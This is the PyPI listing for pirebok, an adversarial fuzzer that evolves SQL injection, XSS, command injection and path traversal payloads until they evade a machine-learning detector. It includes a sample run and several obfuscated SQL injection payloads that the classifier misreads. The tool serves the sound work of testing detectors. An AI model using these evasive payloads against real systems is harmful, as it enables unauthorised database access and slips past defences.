Skip to main content

a guided adversarial fuzzer with evolutionary search

Project description

pîrebok (from Kurdish "witch") - a guided adversarial fuzzer with evolutionary search

Banner

pypi python Build Status codecov

Features

  • 4 attack types: SQL injection, XSS, command injection, path traversal
  • Random and guided (evolutionary) fuzzers for each attack type
  • Guided fuzzers use metamaska classifier to iteratively mutate payloads until they evade detection
    • Priority-queue-based payload pool ranked by confidence
    • Configurable max_rounds, round_size, and timeout
  • 17 type-specific transformers + 6 generic transformers

How it works

Give it a payload. It mutates it until it bypasses the classifier.

pirebok -f GuidedRandomSqlFuzzer -p "admin' OR 1=1#" -s 5 -q
"admin' OR%001313<>1314#"
'admin\'/*%%0x9*/|| 1=1 || "iD" NOT LIKE "iD"#'
"ADmIn'/*>SQN*//**//*h[xI*/or/*p*//**/0X1=0X1#s<"
'AdMin\'\x0c|| "b"<>"bV"#;YR\x0b'
'aDMin\'||"Mce"%%231BF7%%0ALiKE%00"McE"#>wgpxX'

The original admin' OR 1=1# is classified as sqli with 100% confidence. After evolutionary mutations, the classifier misclassifies them as xss with confidence dropping to 0.48 - below the detection threshold.

Confidence Classification Payload
1.0000 sqli admin' OR 1=1#
0.7808 xss admin'/*PCvp<a*/||%000x1=0x1#i>
0.4785 xss ADmiN'%%0x39441%%0aOr/**/'Te'<>'TeD'#-HLa.

Install

pip install pirebok

# for guided mode (requires metamaska)
pip install pirebok[guided]

Credits

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pirebok-0.2.1.tar.gz (29.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pirebok-0.2.1-py3-none-any.whl (50.5 kB view details)

Uploaded Python 3

File details

Details for the file pirebok-0.2.1.tar.gz.

File metadata

  • Download URL: pirebok-0.2.1.tar.gz
  • Upload date:
  • Size: 29.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pirebok-0.2.1.tar.gz
Algorithm Hash digest
SHA256 bc96e7a53030a896f01586d7802d434db15b95ba860f9e0f4439b83502ecebc6
MD5 64f55a2047f4512920d0babe676758fd
BLAKE2b-256 f6b5e478c17bc960e1fce52164e690bdb38809aadd053776a0f8c02f9b36c212

See more details on using hashes here.

File details

Details for the file pirebok-0.2.1-py3-none-any.whl.

File metadata

  • Download URL: pirebok-0.2.1-py3-none-any.whl
  • Upload date:
  • Size: 50.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pirebok-0.2.1-py3-none-any.whl
Algorithm Hash digest
SHA256 6e116fe57033711acfc4757fe6ea530f5adc3039dae7b7c8f99b133b82ebe230
MD5 d37e074636a09dff0f399d9f085fcc01
BLAKE2b-256 ddc915aaa90a7a05b37ef6fda24bb680490530744416cdaea8ab70b275bb7867

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page